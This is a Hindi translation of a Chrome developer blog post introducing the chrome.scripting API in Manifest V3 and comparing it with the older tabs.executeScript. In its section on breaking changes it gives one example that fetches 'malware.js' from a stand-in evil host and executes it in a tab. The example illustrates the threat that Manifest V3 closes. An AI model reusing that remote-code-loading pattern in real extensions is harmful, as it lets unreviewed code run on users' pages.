पेश है chrome.scripting

मेनिफ़ेस्ट V3 में, Chrome के एक्सटेंशन प्लैटफ़ॉर्म में कई बदलाव किए गए हैं. इस पोस्ट में, हम chrome.scripting एपीआई के ज़रिए किए गए बदलावों के बारे में बताएंगे.

chrome.scripting क्या है?

नाम से पता चलता है कि chrome.scripting, मेनिफ़ेस्ट V3 में जोड़ा गया एक नया नेमस्पेस है. यह स्क्रिप्ट और स्टाइल इंजेक्शन की सुविधाओं के लिए ज़िम्मेदार है.

जिन डेवलपर ने पहले Chrome एक्सटेंशन बनाए हैं वे Tabs API पर मेनिफ़ेस्ट V2 के तरीकों के बारे में जानते होंगे. जैसे, chrome.tabs.executeScript और chrome.tabs.insertCSS. इन तरीकों से, एक्सटेंशन पेजों में स्क्रिप्ट और स्टाइलशीट को इंजेक्ट कर सकते हैं. Manifest V3 में, ये सुविधाएं chrome.scripting पर शिफ़्ट हो गई हैं. आने वाले समय में, हम इस एपीआई में कुछ नई सुविधाएं जोड़ने की योजना बना रहे हैं.

नया एपीआई क्यों बनाना चाहिए?

इस तरह के बदलाव के साथ, सबसे पहले यह सवाल पूछा जाता है कि "क्यों?"

कुछ अलग वजहों से, Chrome की टीम ने स्क्रिप्टिंग के लिए नया नेमस्पेस लॉन्च करने का फ़ैसला लिया. सबसे पहले, Tabs API सुविधाओं के लिए एक तरह का जंक ड्रॉअर है. दूसरा, हमें मौजूदा executeScript एपीआई में बड़े बदलाव करने थे. तीसरा, हमें पता था कि हमें एक्सटेंशन के लिए स्क्रिप्टिंग की सुविधाओं को बढ़ाना है. इन समस्याओं से साफ़ तौर पर पता चलता है कि स्क्रिप्टिंग की सुविधाओं को बेहतर बनाने के लिए, एक नए नेमस्पेस की ज़रूरत है.

जंक ड्रॉअर

पिछले कुछ सालों से एक्सटेंशन टीम को एक समस्या का सामना करना पड़ रहा है. यह समस्या यह है कि chrome.tabs API का इस्तेमाल बहुत ज़्यादा किया जा रहा है. जब इस एपीआई को पहली बार लॉन्च किया गया था, तब इसमें दी गई ज़्यादातर सुविधाएं, ब्राउज़र टैब के बड़े कॉन्सेप्ट से जुड़ी थीं. हालांकि, उस समय भी इसमें कई सुविधाएं थीं. साथ ही, इन सुविधाओं की संख्या समय के साथ बढ़ती गई.

मेनिफ़ेस्ट V3 के रिलीज़ होने तक, Tabs API में टैब मैनेज करने, चुनी गई चीज़ों को मैनेज करने, विंडो को व्यवस्थित करने, मैसेज भेजने, ज़ूम कंट्रोल करने, बुनियादी नेविगेशन, स्क्रिप्टिंग, और कुछ अन्य छोटी सुविधाओं को शामिल किया गया था. ये सभी बातें ज़रूरी हैं. हालांकि, डेवलपर के लिए इनका पालन करना शुरू में थोड़ा मुश्किल हो सकता है. साथ ही, Chrome की टीम के लिए भी इनका पालन करना मुश्किल हो सकता है, क्योंकि हम प्लैटफ़ॉर्म को मैनेज करते हैं और डेवलपर कम्यूनिटी के अनुरोधों पर विचार करते हैं.

एक और मुश्किल बात यह है कि tabs अनुमति को अच्छी तरह से समझा नहीं गया है. कई अन्य अनुमतियां, किसी एपीआई (उदाहरण के लिए, storage) के ऐक्सेस पर पाबंदी लगाती हैं. हालांकि, यह अनुमति थोड़ी अलग है. यह एक्सटेंशन को सिर्फ़ टैब इंस्टेंस पर संवेदनशील प्रॉपर्टी का ऐक्सेस देती है. साथ ही, एक्सटेंशन का असर Windows API पर भी पड़ता है. यह समझने में कोई मुश्किल नहीं है कि कई एक्सटेंशन डेवलपर को गलत तरीके से लगता है कि chrome.tabs.create या chrome.tabs.executeScript जैसे Tabs API के तरीकों को ऐक्सेस करने के लिए, उन्हें इस अनुमति की ज़रूरत है. Tabs API से फ़ंक्शन को हटाने से, इस भ्रम को दूर करने में मदद मिलती है.

नुकसान पहुंचा सकने वाले बदलाव

मेनिफ़ेस्ट V3 को डिज़ाइन करते समय, हम "रिमोट तरीके से होस्ट किए गए कोड" की मदद से होने वाले गलत इस्तेमाल और मैलवेयर को रोकना चाहते थे. यह ऐसा कोड होता है जो चलाया जाता है, लेकिन एक्सटेंशन पैकेज में शामिल नहीं होता. आम तौर पर, नुकसान पहुंचाने वाले एक्सटेंशन के लेखक, उपयोगकर्ता का डेटा चुराने, मैलवेयर इंजेक्ट करने, और पहचान से बचने के लिए, रिमोट सर्वर से फ़ेच की गई स्क्रिप्ट को चलाते हैं. अच्छे कलाकार भी इस सुविधा का इस्तेमाल करते हैं. हालांकि, हमें लगा कि इसे इस तरह से जारी रखना बहुत खतरनाक है.

एक्सटेंशन, अनबंड किए गए कोड को कई तरीकों से चला सकते हैं. हालांकि, यहां मेनिफ़ेस्ट V2 chrome.tabs.executeScript का तरीका काम का है. इस तरीके से, एक्सटेंशन को टारगेट किए गए टैब में कोड की किसी भी स्ट्रिंग को चलाने की अनुमति मिलती है. इसका मतलब है कि कोई नुकसान पहुंचाने वाला डेवलपर, किसी भी स्क्रिप्ट को किसी रिमोट सर्वर से फ़ेच कर सकता है और उसे किसी भी ऐसे पेज पर चला सकता है जिसे एक्सटेंशन ऐक्सेस कर सकता है. हमें पता था कि अगर हमें रिमोट कोड की समस्या को ठीक करना है, तो हमें यह सुविधा बंद करनी होगी.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

हम मेनिफ़ेस्ट के V2 वर्शन के डिज़ाइन से जुड़ी कुछ अन्य समस्याओं को भी ठीक करना चाहते थे. साथ ही, एपीआई को ज़्यादा बेहतर और अनुमान लगाने लायक टूल बनाना चाहते थे.

हम Tabs API में इस तरीके के हस्ताक्षर को बदल सकते थे. हालांकि, हमें लगा कि इन बदलावों और नई सुविधाओं (जिनके बारे में अगले सेक्शन में बताया गया है) के बीच, एक नया तरीका शुरू करना सभी के लिए आसान होगा.

स्क्रिप्टिंग की सुविधाओं को बेहतर बनाना

मेनिफ़ेस्ट V3 के डिज़ाइन की प्रोसेस में एक और बात को ध्यान में रखा गया था. वह यह कि Chrome के एक्सटेंशन प्लैटफ़ॉर्म में स्क्रिप्टिंग की अतिरिक्त सुविधाएं जोड़ी जाएं. खास तौर पर, हम डाइनैमिक कॉन्टेंट स्क्रिप्ट के लिए सहायता जोड़ना चाहते थे. साथ ही, executeScript तरीके की सुविधाओं को बढ़ाना चाहते थे.

Chromium में डाइनैमिक कॉन्टेंट स्क्रिप्ट की सुविधा का अनुरोध लंबे समय से किया जा रहा था. फ़िलहाल, मेनिफ़ेस्ट V2 और V3 वाले Chrome एक्सटेंशन, अपनी manifest.json फ़ाइल में कॉन्टेंट स्क्रिप्ट का एलान सिर्फ़ स्टैटिक तौर पर कर सकते हैं. प्लैटफ़ॉर्म, नई कॉन्टेंट स्क्रिप्ट को रजिस्टर करने, कॉन्टेंट स्क्रिप्ट के रजिस्ट्रेशन में बदलाव करने या रनटाइम के दौरान कॉन्टेंट स्क्रिप्ट को अनरजिस्टर करने का कोई तरीका उपलब्ध नहीं कराता.

हम जानते थे कि हमें इस सुविधा के अनुरोध को मेनिफ़ेस्ट V3 में शामिल करना है. हालांकि, हमें अपने किसी भी मौजूदा एपीआई में यह सुविधा शामिल करने का विकल्प सही नहीं लगा. हमने Firefox के Content Scripts API के साथ भी काम करने पर विचार किया था. हालांकि, हमें शुरुआत में ही इस तरीके की कुछ बड़ी कमियां पता चल गई थीं. सबसे पहले, हमें पता था कि हमारे पास ऐसे हस्ताक्षर होंगे जो काम नहीं करेंगे. उदाहरण के लिए, code प्रॉपर्टी के लिए सहायता बंद करना. दूसरा, हमारे एपीआई के डिज़ाइन में कुछ अलग तरह की पाबंदियां थीं. उदाहरण के लिए, सेवा वर्कर के लाइफ़टाइम के बाद भी बने रहने के लिए, रजिस्ट्रेशन की ज़रूरत होती है. आखिर में, यह नेमस्पेस हमें कॉन्टेंट स्क्रिप्ट की सुविधा पर भी फ़ोकस करने में मदद करेगा. हम एक्सटेंशन में स्क्रिप्टिंग के बारे में ज़्यादा सोच रहे हैं.

executeScript के मामले में, हम यह भी चाहते थे कि यह एपीआई, Tabs एपीआई वर्शन के साथ काम करने के अलावा और भी काम कर सके. खास तौर पर, हम फ़ंक्शन और आर्ग्युमेंट के साथ काम करना चाहते थे, ताकि चुनिंदा फ़्रेम को आसानी से टारगेट किया जा सके और "टैब" के अलावा अन्य कॉन्टेक्स्ट को टारगेट किया जा सके.

आने वाले समय में, हम यह भी देख रहे हैं कि एक्सटेंशन, इंस्टॉल किए गए PWA और ऐसे अन्य कॉन्टेक्स्ट के साथ कैसे इंटरैक्ट कर सकते हैं जो "टैब" के साथ मैप नहीं होते.

tabs.executeScript और scripting.executeScript के बीच बदलाव

इस पोस्ट के बाकी हिस्से में, हम chrome.tabs.executeScript और chrome.scripting.executeScript के बीच समानताओं और अंतरों पर ज़्यादा ध्यान देंगे.

आर्ग्युमेंट के साथ फ़ंक्शन इंजेक्ट करना

हमने यह तय करने की कोशिश की है कि रिमोट तौर पर होस्ट किए गए कोड से जुड़ी पाबंदियों के हिसाब से, प्लैटफ़ॉर्म को कैसे बेहतर बनाया जा सकता है. साथ ही, हमने कोड को मनमुताबिक चलाने की सुविधा और सिर्फ़ स्टैटिक कॉन्टेंट स्क्रिप्ट को अनुमति देने के बीच संतुलन बनाने की कोशिश की है. हमने इस समस्या को हल करने के लिए, एक्सटेंशन को कॉन्टेंट स्क्रिप्ट के तौर पर फ़ंक्शन इंजेक्ट करने की अनुमति दी है. साथ ही, आर्ग्युमेंट के तौर पर वैल्यू का कलेक्शन पास करने की सुविधा भी दी है.

आइए, एक आसान उदाहरण देखते हैं. मान लें कि हमें एक ऐसी स्क्रिप्ट इंजेक्ट करनी है जो उपयोगकर्ता के नाम से उसका स्वागत करे. ऐसा तब होगा, जब उपयोगकर्ता एक्सटेंशन के ऐक्शन बटन (टूलबार में मौजूद आइकॉन) पर क्लिक करेगा. मेनिफ़ेस्ट V2 में, हम डाइनैमिक तरीके से कोड स्ट्रिंग बना सकते हैं और उस स्क्रिप्ट को मौजूदा पेज पर चला सकते हैं.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

मेनिफ़ेस्ट V3 एक्सटेंशन, ऐसे कोड का इस्तेमाल नहीं कर सकते जो एक्सटेंशन के साथ बंडल नहीं किए गए हैं. हालांकि, हमारा मकसद कुछ डाइनैमिक को बनाए रखना था, जो मेनिफ़ेस्ट V2 एक्सटेंशन के लिए, मनमुताबिक कोड ब्लॉक की मदद से चालू किए गए थे. फ़ंक्शन और आर्ग्युमेंट के तरीके से, Chrome वेब स्टोर के समीक्षकों, उपयोगकर्ताओं, और दिलचस्पी रखने वाले अन्य पक्षों के लिए, किसी एक्सटेंशन से जुड़े जोखिमों का सटीक आकलन करना आसान हो जाता है. साथ ही, डेवलपर को उपयोगकर्ता की सेटिंग या ऐप्लिकेशन की स्थिति के आधार पर, एक्सटेंशन के रनटाइम व्यवहार में बदलाव करने की अनुमति भी मिलती है.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

टारगेटिंग फ़्रेम

हम यह भी चाहते थे कि डेवलपर, बदले गए एपीआई में फ़्रेम के साथ बेहतर तरीके से इंटरैक्ट कर पाएं. executeScript के मेनिफ़ेस्ट के V2 वर्शन की मदद से, डेवलपर किसी टैब के सभी फ़्रेम या टैब के किसी खास फ़्रेम को टारगेट कर सकते थे. किसी टैब में मौजूद सभी फ़्रेम की सूची पाने के लिए, chrome.webNavigation.getAllFrames का इस्तेमाल किया जा सकता है.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

मेनिफ़ेस्ट V3 में, हमने विकल्प ऑब्जेक्ट में मौजूद ज़रूरी नहीं frameId इंटिजर प्रॉपर्टी को, ज़रूरी नहीं frameIds इंटिजर के कलेक्शन से बदल दिया है. इससे डेवलपर, एक ही एपीआई कॉल में कई फ़्रेम को टारगेट कर सकते हैं.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

स्क्रिप्ट इंजेक्शन के नतीजे

हमने मेनिफ़ेस्ट V3 में, स्क्रिप्ट इंजेक्शन के नतीजे दिखाने के तरीके को भी बेहतर बनाया है. "नतीजा", स्क्रिप्ट में आकलन किया गया आखिरी स्टेटमेंट होता है. इसे उस वैल्यू की तरह समझें जो eval() को कॉल करने या Chrome DevTools कंसोल में कोड का ब्लॉक एक्ज़ीक्यूट करने पर मिलती है. हालांकि, इसे सभी प्रोसेस में नतीजे पास करने के लिए क्रम से लगाया जाता है.

मेनिफ़ेस्ट V2 में, executeScript और insertCSS, सामान्य तरीके से लागू किए गए फ़ंक्शन के नतीजों का ऐरे दिखाएंगे. अगर आपके पास सिर्फ़ एक इंजेक्शन पॉइंट है, तो यह ठीक है. हालांकि, एक से ज़्यादा फ़्रेम में इंजेक्शन करते समय, नतीजे के क्रम की कोई गारंटी नहीं होती. इसलिए, यह पता नहीं लगाया जा सकता कि कौनसा नतीजा किस फ़्रेम से जुड़ा है.

उदाहरण के लिए, एक ही एक्सटेंशन के मेनिफ़ेस्ट V2 और मेनिफ़ेस्ट V3 वर्शन से मिले results कलेक्शन पर नज़र डालें. एक्सटेंशन के दोनों वर्शन, एक ही कॉन्टेंट स्क्रिप्ट को इंजेक्ट करेंगे. साथ ही, हम एक ही डेमो पेज पर नतीजों की तुलना करेंगे.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

मेनिफ़ेस्ट V2 वर्शन को चलाने पर, हमें [1, 0, 5] का एक कलेक्शन मिलता है. कौनसा नतीजा मुख्य फ़्रेम से जुड़ा है और कौनसा iframe से? रिटर्न वैल्यू से हमें यह पता नहीं चलता है. इसलिए, हमें पक्के तौर पर नहीं पता.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

मेनिफ़ेस्ट के V3 वर्शन में, results में अब सिर्फ़ आकलन के नतीजों के अरे के बजाय, नतीजों के ऑब्जेक्ट का अरे होता है. साथ ही, नतीजों के ऑब्जेक्ट, हर नतीजे के लिए फ़्रेम के आईडी की साफ़ तौर पर पहचान करते हैं. इससे डेवलपर को नतीजे का इस्तेमाल करने और किसी खास फ़्रेम पर कार्रवाई करने में काफ़ी आसानी होती है.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

आखिर में खास जानकारी

मेनिफ़ेस्ट के वर्शन में होने वाले बदलावों से, एक्सटेंशन एपीआई को फिर से सोचने और आधुनिक बनाने का एक दुर्लभ मौका मिलता है. मेनिफ़ेस्ट के तीसरे वर्शन का मकसद, डेवलपर के अनुभव को बेहतर बनाते हुए एक्सटेंशन को ज़्यादा सुरक्षित बनाना है, ताकि असली उपयोगकर्ताओं को बेहतर अनुभव मिल सके. मेनिफ़ेस्ट V3 में chrome.scripting को शामिल करके, हमने Tabs API को बेहतर बनाने में मदद की है. साथ ही, executeScript को ज़्यादा सुरक्षित एक्सटेंशन प्लैटफ़ॉर्म के तौर पर फिर से डिज़ाइन किया है. इसके अलावा, इस साल के आखिर में आने वाली स्क्रिप्टिंग की नई सुविधाओं के लिए, हमने बुनियादी तैयारी भी कर ली है.